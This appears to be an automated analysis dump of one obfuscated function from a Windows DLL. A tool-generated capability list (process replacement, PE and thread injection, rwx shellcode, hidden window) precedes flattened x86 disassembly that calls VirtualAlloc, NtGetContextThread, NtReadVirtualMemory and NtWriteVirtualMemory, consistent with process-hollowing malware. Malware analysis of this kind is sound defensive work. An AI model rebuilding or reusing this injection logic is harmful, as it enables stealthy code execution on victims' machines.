Function at 0x10007330
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10066c04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0x37a7d63c
sub edx, 1
sub edx, 0x37a7d63c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x159], al
mov dword [ebp - 0x160], 0x7f41486c
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x8058d277
je 0x1000d59d
jmp 0x100073ab
mov eax, dword [ebp - 0x164]
sub eax, 0x83dfe528
je 0x1000a449
jmp 0x100073c1
mov eax, dword [ebp - 0x164]
sub eax, 0x84a2b521
je 0x1000ace9
jmp 0x100073d7
mov eax, dword [ebp - 0x164]
sub eax, 0x855ea907
je 0x1000c46a
jmp 0x100073ed
mov eax, dword [ebp - 0x164]
sub eax, 0x85dcf349
je 0x10009fed
jmp 0x10007403
mov eax, dword [ebp - 0x164]
sub eax, 0x871f80d9
je 0x1000bf5f
jmp 0x10007419
mov eax, dword [ebp - 0x164]
sub eax, 0x878d545d
je 0x1000a9e7
jmp 0x1000742f
mov eax, dword [ebp - 0x164]
sub eax, 0x87a89aac
je 0x100094b8
jmp 0x10007445
mov eax, dword [ebp - 0x164]
sub eax, 0x88df8ff7
je 0x1000cdb4
jmp 0x1000745b
mov eax, dword [ebp - 0x164]
sub eax, 0x89530365
je 0x10009c05
jmp 0x10007471
mov eax, dword [ebp - 0x164]
sub eax, 0x8966f735
je 0x1000b5ad
jmp 0x10007487
mov eax, dword [ebp - 0x164]
sub eax, 0x8adda6d0
je 0x1000e835
jmp 0x1000749d
mov eax, dword [ebp - 0x164]
sub eax, 0x8db077cc
je 0x1000ca66
jmp 0x100074b3
mov eax, dword [ebp - 0x164]
sub eax, 0x90c65e02
je 0x1000dcd5
jmp 0x100074c9
mov eax, dword [ebp - 0x164]
sub eax, 0x91596504
je 0x1000da81
jmp 0x100074df
mov eax, dword [ebp - 0x164]
sub eax, 0x91b4e557
je 0x1000b341
jmp 0x100074f5
mov eax, dword [ebp - 0x164]
sub eax, 0x927a2438
je 0x1000b45e
jmp 0x1000750b
mov eax, dword [ebp - 0x164]
sub eax, 0x92bef96e
je 0x1000d219
jmp 0x10007521
mov eax, dword [ebp - 0x164]
sub eax, 0x92f26a74
je 0x1000a5c7
jmp 0x10007537
mov eax, dword [ebp - 0x164]
sub eax, 0x94e5e258
je 0x10009a1d
jmp 0x1000754d
mov eax, dword [ebp - 0x164]
sub eax, 0x94fdc391
je 0x1000b19e
jmp 0x10007563
mov eax, dword [ebp - 0x164]
sub eax, 0x9609b913
je 0x1000b5fe
jmp 0x10007579
mov eax, dword [ebp - 0x164]
sub eax, 0x97cbf099
je 0x1000dfae
jmp 0x1000758f
mov eax, dword [ebp - 0x164]
sub eax, 0x98fd9143
je 0x1000ba3c
jmp 0x100075a5
mov eax, dword [ebp - 0x164]
sub eax, 0x99ca0f90
je 0x1000d20a
jmp 0x100075bb
mov eax, dword [ebp - 0x164]
sub eax, 0x9a02967f
je 0x10009f2d
jmp 0x100075d1
mov eax, dword [ebp - 0x164]
sub eax, 0x9ae4a06c
je 0x1000dee8
jmp 0x100075e7
mov eax, dword [ebp - 0x164]
sub eax, 0x9b301dbb
je 0x1000be56
jmp 0x100075fd
mov eax, dword [ebp - 0x164]
sub eax, 0x9b4f0314
je 0x1000b2ca
jmp 0x10007613
mov eax, dword [ebp - 0x164]
sub eax, 0x9dabdd2e
je 0x1000c732
jmp 0x10007629
mov eax, dword [ebp - 0x164]
sub eax, 0x9f7e0295
je 0x1000b2bb
jmp 0x1000763f
mov eax, dword [ebp - 0x164]
sub eax, 0x9fc72e50
je 0x1000aff2
jmp 0x10007655
mov eax, dword [ebp - 0x164]
sub eax, 0xa02860b0
je 0x1000c606
jmp 0x1000766b
mov eax, dword [ebp - 0x164]
sub eax, 0xa0e92706
je 0x1000ba0f
jmp 0x10007681
mov eax, dword [ebp - 0x164]
sub eax, 0xa12d2593
je 0x1000d3cf
jmp 0x10007697
mov eax, dword [ebp - 0x164]
sub eax, 0xa13d07aa
je 0x1000b87c
jmp 0x100076ad
mov eax, dword [ebp - 0x164]
sub eax, 0xa1de3ea6
je 0x1000d7be
jmp 0x100076c3
mov eax, dword [ebp - 0x164]
sub eax, 0xa2022af5
je 0x1000d36c
jmp 0x100076d9
mov eax, dword [ebp - 0x164]
sub eax, 0xa20e6eb5
je 0x10009d59
jmp 0x100076ef
mov eax, dword [ebp - 0x164]
sub eax, 0xa282e83b
je 0x100098e4
jmp 0x10007705
mov eax, dword [ebp - 0x164]
sub eax, 0xa2925286
je 0x1000de90
jmp 0x1000771b
mov eax, dword [ebp - 0x164]
sub eax, 0xa2a3718b
je 0x1000c925
jmp 0x10007731
mov eax, dword [ebp - 0x164]
sub eax, 0xa2e9ef2f
je 0x1000ddb8
jmp 0x10007747
mov eax, dword [ebp - 0x164]
sub eax, 0xa4247123
je 0x1000c54f
jmp 0x1000775d
mov eax, dword [ebp - 0x164]
sub eax, 0xa470a1c5
je 0x1000ac07
jmp 0x10007773
mov eax, dword [ebp - 0x164]
sub eax, 0xa6214201
je 0x1000a337
jmp 0x10007789
mov eax, dword [ebp - 0x164]
sub eax, 0xa63ea741
je 0x1000d7af
jmp 0x1000779f
mov eax, dword [ebp - 0x164]
sub eax, 0xa78ed159
je 0x1000cca5
jmp 0x100077b5
mov eax, dword [ebp - 0x164]
sub eax, 0xa9be9c64
je 0x1000c2f7
jmp 0x100077cb
mov eax, dword [ebp - 0x164]
sub eax, 0xaac85c12
je 0x1000becc
jmp 0x100077e1
mov eax, dword [ebp - 0x164]
sub eax, 0xabb2de79
je 0x1000d554
jmp 0x100077f7
mov eax, dword [ebp - 0x164]
sub eax, 0xacdea234
je 0x1000d427
jmp 0x1000780d
mov eax, dword [ebp - 0x164]
sub eax, 0xad0c242a
je 0x1000c7f1
jmp 0x10007823
mov eax, dword [ebp - 0x164]
sub eax, 0xadc66422
je 0x1000b815
jmp 0x10007839
mov eax, dword [ebp - 0x164]
sub eax, 0xaec2e54c
je 0x1000ced9
jmp 0x1000784f
mov eax, dword [ebp - 0x164]
sub eax, 0xb07cb4a0
je 0x100096ee
jmp 0x10007865
mov eax, dword [ebp - 0x164]
sub eax, 0xb0f1cd84
je 0x1000e29d
jmp 0x1000787b
mov eax, dword [ebp - 0x164]
sub eax, 0xb11c20be
je 0x1000cb8e
jmp 0x10007891
mov eax, dword [ebp - 0x164]
sub eax, 0xb18bc87b
je 0x1000c8e4
jmp 0x100078a7
mov eax, dword [ebp - 0x164]
sub eax, 0xb2c72348
je 0x1000de81
jmp 0x100078bd
mov eax, dword [ebp - 0x164]
sub eax, 0xb34090b2
je 0x1000a135
jmp 0x100078d3
mov eax, dword [ebp - 0x164]
sub eax, 0xb3731ff3
je 0x100097bf
jmp 0x100078e9
mov eax, dword [ebp - 0x164]
sub eax, 0xb38dd255
je 0x1000e60c
jmp 0x100078ff
mov eax, dword [ebp - 0x164]
sub eax, 0xb3b4f1a3
je 0x1000bb8e
jmp 0x10007915
mov eax, dword [ebp - 0x164]
sub eax, 0xb43cd845
je 0x1000a49a
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0xc817e14c
sub edx, 1
add edx, 0xc817e14c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3ba9280a
mov ecx, 0xe1b070a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a43473c
mov ecx, 0x189f7800
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0xcc]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0xc5], al
mov dword [ebp - 0x160], 0x33ef9f00
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
sub edx, 0xb0fc384b
sub edx, 1
add edx, 0xb0fc384b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0f1cd84
mov ecx, 0x1e9cf2e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10010aa0
add esp, 0xc
mov eax, dword [ebp - 0x144]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10010aa0
add esp, 0xc
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
add edx, 0x56a08b2b
sub edx, 1
sub edx, 0x56a08b2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bcdba11
mov ecx, 0x76c00cef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0xc4]
add eax, 0x18
mov dword [ebp - 0xc0], eax
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
sub edx, 0x140751f4
sub edx, 1
add edx, 0x140751f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x326ba783
mov ecx, 0xd3f87a6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0xbc]
add eax, 0x70
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x160], 0xff3306cb
jmp 0x1000e8f0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xa5], al
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0xcf392761
sub edx, 1
sub edx, 0xcf392761
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf6a5adf2
mov ecx, 0xd89a48c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10006250
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x160], 0xc8af6579
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0x4d013a20
sub edx, 1
add edx, 0x4d013a20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa1de3ea6
mov ecx, 0xfab6e656
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dl, byte [ebp - 0x9d]
mov eax, 0x682f5d57
mov ecx, 0xb48a380d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
add edx, 0xe4d9e5d7
sub edx, 1
sub edx, 0xe4d9e5d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d12f8aa
mov ecx, 0xb43cd845
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x40562b32
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x64db8bfc
mov ecx, 0xb8049dbd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
sub edx, 0x5bc7c3c6
sub edx, 1
add edx, 0x5bc7c3c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59ccf8c3
mov ecx, 0x166e600d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf21356af
mov ecx, 0xc2ecf772
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9a99a24
mov ecx, 0x181f0d0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x33c29fc4
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x9b4f0314
jmp 0x1000e8f0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov esi, dword [ebp - 0x74]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x78]
mov eax, 0xedec6818
mov ecx, 0xb7245003
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub ecx, 0x3b204544
sub ecx, edx
add ecx, 0x3b204544
add eax, ecx
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0xc7de3312
sub edx, 1
sub edx, 0xc7de3312
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x17d4bae9
mov ecx, 0xb90338fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28d8bad3
mov ecx, 0x6c997b4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
sub edx, 0x524fa621
sub edx, 1
add edx, 0x524fa621
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11dac9c
mov ecx, 0x9609b913
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
add edx, 0x9c614819
sub edx, 1
sub edx, 0x9c614819
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8b13128
mov ecx, 0xda3bf882
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1744293e
mov ecx, 0x22ebe835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39453352
mov ecx, 0x2092a241
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dl, byte [ebp - 0x61]
mov eax, 0x56e6b067
mov ecx, 0x7ea611c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x14aa8965
mov ecx, 0x571b93b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5936b26d
mov ecx, 0xbcf0a2b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0xd5a3453e
sub edx, 1
add edx, 0xd5a3453e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x738ebe94
mov ecx, 0xaac85c12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x738ebe94
mov ecx, 0xd435b456
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa2e9ef2f
mov ecx, 0x4a8347ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x40]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfaa67011
mov ecx, 0x5a9ecd4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dl, byte [ebp - 0x39]
mov eax, 0x5f57b8fb
mov ecx, 0x30685294
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2dc7bd66
mov ecx, 0x7e77cc5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x160], 0x5f57b8fb
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0xb42f96b3
sub edx, 1
sub edx, 0xb42f96b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa2925286
mov ecx, 0x4972268e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72577917
mov ecx, 0x1b60fc13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0xd452a76
add eax, 1
sub eax, 0xd452a76
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x160], 0xb4ef79f3
jmp 0x1000e8f0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub ecx, 0xe4b008b3
add ecx, eax
add ecx, 0xe4b008b3
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x185ab63e
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0xd96160d1
sub edx, 1
add edx, 0xd96160d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
